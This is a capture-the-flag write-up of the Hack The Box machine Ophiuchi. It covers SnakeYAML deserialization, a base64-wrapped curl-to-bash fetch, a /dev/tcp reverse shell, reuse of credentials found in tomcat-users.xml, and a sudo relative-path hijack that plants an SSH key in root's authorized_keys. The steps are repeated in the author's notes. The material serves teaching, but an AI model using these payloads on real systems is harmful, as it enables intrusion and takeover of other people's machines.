HTB: Ophiuchi

12 minute read


Hello fellow hackers and welcome back to the dark nebula, also known as the Ophiuchi box on HTB! Today we’ll be tearing up a deserialization vulnerability and following that up with some relative path hijacking to take over a script - I hope you’re as ready as I am. And with the introductions out of the way, we start our journey!

Creators: felamos
Rating: 4.1


As with a large majority of our HacktheBox experience, we begin by adding the box’s IP into /etc/hosts for ease-of-use and enabling our lazy habits. Once that’s done we kick off an nmap which produces the following (trimmed) results:

# Nmap 7.91 scan initiated Fri Jun  4 20:35:51 2021 as: nmap -sCV -O -oA tcp-full -p- -v ophiuchi.htb
Nmap scan report for ophiuchi.htb (
Host is up (0.044s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Jun  4 20:36:39 2021 -- 1 IP address (1 host up) scanned in 48.71 seconds

Well that’s rather straightforward - we only have two ports open, and only one of them seems interesting at first glance. Let’s look at the Tomcat server running on 8080. Starting off, I kick off a basic gobuster scan to enumerate directories with gobuster dir -u http://ophiuchi.htb:8080/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -o gobuster_basic_8080.txt, which produces the following results:

Results of running our Gobuster command.

That’s interesting - gobuster highlighted that there’s a page running at /yaml. Looking at the page, we see what appears to be a YAML parser.

Taking a look at the webpage running on port 8080 at /yaml.

If you try running any valid YAML in the parser, it just returns that it has been disabled for security reasons - that’s not terribly exciting but it’s all that we have to go on. Trudging onwards I searched ye olden Googly-box for “yaml parser exploit” given that’s all that we know so far; I got a hit leading to this Medium article by Swapneil Dash. It outlines a Snake YAML deserialization vulnerability that someone he knows used in a pentest - why not try it in ours? Anyways, I’ll leave you to read the Swapneil article - meet me back here in five once you’ve given it a pass.

Just want to throw this out there - I don’t advise blindly throwing payloads out there on an actual engagement. It can lead to you getting caught if their security is up to snuff, or you can just look like a moron (which I don’t need any help doing anyways). For a CTF though, go buck wild - send whatever your heart desires!

If you read through the article, we essentially can pass in Java class objects’ constructors in order to call functions and such. About halfway down we see a Proof-of-Concept file; let’s modify and use that like so:

!!javax.script.ScriptEngineManager [
    !! [[
        !! [""]

Remember to sub out your IP in that payload. Spin up a server with python3 -m http.server 80, slap that payload into the YAML parser, and click “Parse” to be greeted with a lovely sight…

The victim server requesting a file off of our Python server.

Fantastic, we have code execution (even though it said it was disabled, GASP!) and can move forward with this attack. Notice that it’s looking for the file /META-INF/services/javax.script.ScriptEngineFactory - that will come up in a bit. Continuing down the Swapneil article we find a link to a GitHub named artsploit/yaml-payload: ARTSPLOIT. Essentially I copied just the file and ignored the rest, you can find that file HERE.

Now that we have that file we’re going to set up for a PoC that’s simple, something like ping‘ing our box will confirm it works nicely. There are a few things we need to do first to set up the file structure, however. First choose a package name in your head - I’m going to use sp1icersploit - and then do the following:

  • mkdir sp1icersp1oit: make our package directory that will contain our RCE code
  • mkdir -p META-INF/services/: make our directory that will contain our javax.script.ScriptEngineFactory file, which just points to which code package to use

We’ll start with a few changes - the first thing I did was mv sp1icersploit/, since it’s shorter and I’m lazy. Let’s edit that file with a few personalizations changes…

  • Change the package listing at the top to package sp1icersploit
  • Change public AwesomeScriptEngineFactory() to public sp1icer() throws InterruptedException
  • Remove the original lines inside of the (now) sp1icer() function, including the try{} catch{} blocks.
  • Inside of our sp1icer() function, add the following code: Runtime.getRuntime().exec("ping -c 4");

Aight, now we’re cooking with fire. We’ve set up our file with new code that we want it to execute when called - compile it with javac This should spit out a .class file which is what the Java server will require to execute the code.

Now that that’s out of the way, make the javax.script.ScriptEngineFactory file inside of META-INF/services/. The contents should just be the name of your package and the function inside of it in the format of packageName.functionName. In my case the contents of this file will just be sp1icersploit.sp1icer. If everything went as desired, we should have the following structure:

+-- sp1icersploit
|   +--
|   +-- sp1icer.class
|   +-- services
|   |   +-- javax.script.ScriptEngineFactory

Serve up a webserver in the root with python3 -m http.server 80. In a new tmux pane also make sure to start TCPDump like so: sudo tcpdump -i tun0 icmp. Re-submit the same PoC payload from earlier and you should see the following series of requests:

The victim server grabbing our payloads off of our webserver.

And with luck on our side, the sweet sweet sound of packets hitting our interface:

The victim server executing our code and ping'ing our machine.

If you’re anything like me, you probably thought “all right! We’ve got code execution, now let’s just pop the PentestMonkey Java reverse shell in there!” Unfortunately, this code has other plans like jacking up our revshell attempts. It took me a fair bit, but I eventually remembered this fantastic payload conversion site by Jackson_T. The TL;DR on why this site exists is that pipe redirection in bash really gets messed up in a Java exec() call, so we need to convert it to something a bit more palatable since Java is picky. We’ll use this as a jumping off point to have Java fetch a bash script from us so we can just edit that instead of the Java payload over and over. Doing that:

  • Throw curl | bash (subbing out your IP) into the Jackson_T converter
  • Edit with Runtime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwOi8vMTAuMTAuMTcuMjM5L3Jldi5zaCB8IGJhc2g=}|{base64,-d}|{bash,-i}"); as the payload (remember to substitute YOUR Jackson_T payload here)
  • Re-compile: javac

Just like that, we have a payload that will try to curl our I created a with the following:


/bin/bash -i >& /dev/tcp/ 0>&1

Finally re-set up our python server and additionally add in a new ncat -lvp 9001 to catch the reverse shell. Re-send our initial payload to see the server sending requests for META-INF/services/javax.script.ScriptEngineFactory, then We should have a revshell now - success!

Cereal Killer from the movie Hackers.

Unfortunately for us, we still don’t have a user account. That’s our first priority as we establish our privileges in this system so that we don’t get immediately kicked out if we jack up our reverse shell 😉 well, it’s our first priority after we do a TTY upgrade:

  1. python3 -c 'import pty;pty.spawn("/bin/bash");'
  2. stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
  3. stty raw -echo; fg
  4. stty rows ROWS cols COLS
  5. export TERM=xterm-256color
  6. exec /bin/bash

All this does is make our terminal nicer with tab-autocomplete and the things we expect from a native shell. Now to upgrade…

If you’ve spent any amount of time around Tomcat, you know that there’s potential for credentials right where we landed or close by at least. I started grepping for passwords and eventually got lucky with a hit on /opt/tomcat/conf/tomcat-users.xml:

Discovering credentials using grep.

With that, we can now SSH in as admin :: whythereisalimit. Finally!

A person swinging a golf club, losing their balance, then falling.

Well, kind of - it’s just beginning.


As with most Linux boxes, the first thing I run is sudo -l to see what we have access to. In this case, it returns a juicy bit of information.

$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Let’s take a look at what permissions are on the file…

$ ls -l /opt/wasm-functions/index.go
-rw-rw-r-- 1 root root 522 Oct 14  2020 /opt/wasm-functions/index.go

…and what the contents of said file are:

package main

import (
        wasm ""

func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "").Output()
                if err != nil {

My first thought was that there might be some sort of dependency injection to use with regards to the wasm import, and it turns out I wasn’t quite wrong - I was just looking in the wrong place. See anything fishy about the call to I didn’t either for a while, until my friends Pascal_0x90 and initinfosec gave me a few nudges. If you look at the line with it becomes apparent that index.go is calling it with a relative path, meaning we can just change what directory we’re in in order to call our own version of First we have to satisfy the script conditions, though…

Looking back we notice that it’s looking for some value f to be set to 1. A few lines before, it imports a file main.wasm and uses the result of the export for “info” as the value of f. Wait, what the hell is a .wasm?? Googling for that leads us to the WebAssembly wabt GitHub. It basically looks like we can take the wasm, convert it to a text format .wat, and have something much more readable. Install wabt from the installation instructions and then let’s decompile the wasm with the following commands.

  • scp admin@ophiuchi.htb:/opt/wasm-functions/main.wasm ./main.wasm
  • build/wasm2wat ../../main.wasm > ../../main.wat (remember the paths are relative, so it may be different on your system)
  • mv main.wasm main.wasm.bak for safe keeping, in case anything goes wrong

Let’s take a look at what we have now in main.wat:

  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

That’s…incredibly un-helpful. Remember that we’re looking for some kind of export…we see an export line for “info”, which uses the function $info. Some intuition tells us that the i32.const 0 is that export, so edit main.wat to have i32.const 1 set. Let’s re-compile with build/wat2wasm main.wat > main.wasm, transfer it back to the victim box, and set up our main.wasm and a somewhere safe (I like to use /tmp since it’s usually writeable). Since this article is getting long, I’ll skip the experiments - our choices for privesc are severely limited by SELinux on this host - this is what ultimately worked for me in


echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTPStNXPYkx8MbD [...TRIMMED...] sp1icer@kali' >> /root/.ssh/authorized_keys

I’ve trimmed the SSH key out since it’s just lots of extra characters for no gain in understanding. Trigger it with sudo /usr/bin/go run /opt/wasm-functions/index.go and we’re almost done…now just SSH in as root: ssh -i <key name> root@ophiuchi.htb.

Agent Smith laughing.


Wew, we’ve done it - we conquered the indomitable Ophiuchi! We rolled our own crypto deserialization exploit, found some credentials that got re-used, and hijacked a relative path to execute some code as root. I hope you’ve enjoyed this post, I definitely enjoyed writing it for y’all - as always, make sure to like and subscribe keep on keeping on and happy hacking!

- sp1icer


These were my short-form notes in Obsidian while doing the box.

# Steps
1. nmap to see 8080
2. gobuster to find `/yaml`
3. Google search "yaml parser exploit" gets us deserialization article: ``
4. Test PoC, it works
5. Copy file from Medium article's linked GH repo: ``
6. Edit file with changes to get PoC for RCE:
	1. change `package artsploit` to `package sp1icersp1oit`
	2. change `public AwesomeScriptEngineFactory()` to `public sp1icer()`
	3. change payload to `Runtime.getRuntime().exec("ping -c 4");`
	4. Save file, compile: `javac`
	5. Make needed folders: `mkdir sp1icersp1oit` and `mkdir -p META-INF/services/`
	6. move `sp1icer.class` to `sp1icersp1oit`
	7. create file `/META-INF/services/javax.script.ScriptEngineFactory` with one line: `sp1icersp1oit.sp1icer`
7. Change java exploit file to use `` instead of single commands
	1. payload: `Runtime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwOi8vMTAuMTAuMTcuMjM5L3Jldi5zaCB8IGJhc2g=}|{base64,-d}|{bash,-i}");` (from Jackson's site)
	2. compile: `javac`
8. Edit to have ping payload
9. Edit to have revshell payload: `/bin/bash -i >& /dev/tcp/ 0>&1`
10. RCE as tomcat
11. TTY Upgrade
	1. `python3 -c 'import pty;pty.spawn("/bin/bash");'`
	2. `stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'`
	3. `stty raw -echo; fg`
	4. `stty rows ROWS cols COLS`
	5. `export TERM=xterm-256color`
	6. `exec /bin/bash`
12. go find password in Tomcat config directory: `/opt/tomcat/conf/tomcat-users.xml`
13. SSH in as `admin :: whythereisalimit`
14. user.txt
15. sudo -l reveals a go script we can use for privesc
16. running it from home dir shows errors
17. Going to `/opt/wasm-functions/index.go` and check what it does
	1. We can see it's looking for a "main.wasm" from whatever folder we're in - notice the lack of absolute pathing
	2. Checks to see if "f" is set to 1 - checking if export of "info" is set to 1?
	3. If "f" is 1, run - notice lack of absolute path again
18. Install so that we can decrypt the main.wasm, and then build our own
19. Copy main.wasm from `/opt/wasm-funcions/main.wasm` to our box
	1. `build/wasm2wat ../../main.wasm > ../../main.wat`
	2. `cd ../../`
	3. `mv main.wasm main.wasm.bak`
	4. edit main.wat to have `(func $info (type 0) (result i32) i32.const 1)` (should be on 2 lines in file)
	5. `build/wat2wasm main.wat > main.wasm`
19. Write our own
	1. Start with a script to ping, then move up
	2. Edit the script to have it add in our SSH key to root's authorized_keys file
		1. IN KALI: `ssh-keygen -t rsa -b 4096 -f root`
		2. IN DEPLOY.SH: `echo '<SSH KEY>' >> /root/.ssh/authorized_keys`
20.	Move our main.wasm and over to Ophi
	1. scp admin@ophiuchi.htb:~/
21. execute from admin's home dir: `sudo /usr/bin/go run /opt/wasm-functions/index.go`
22. ssh in as root: `ssh -i root root@ophiuchi.htb`
23. root.txt


In the actual post:

Extra reading: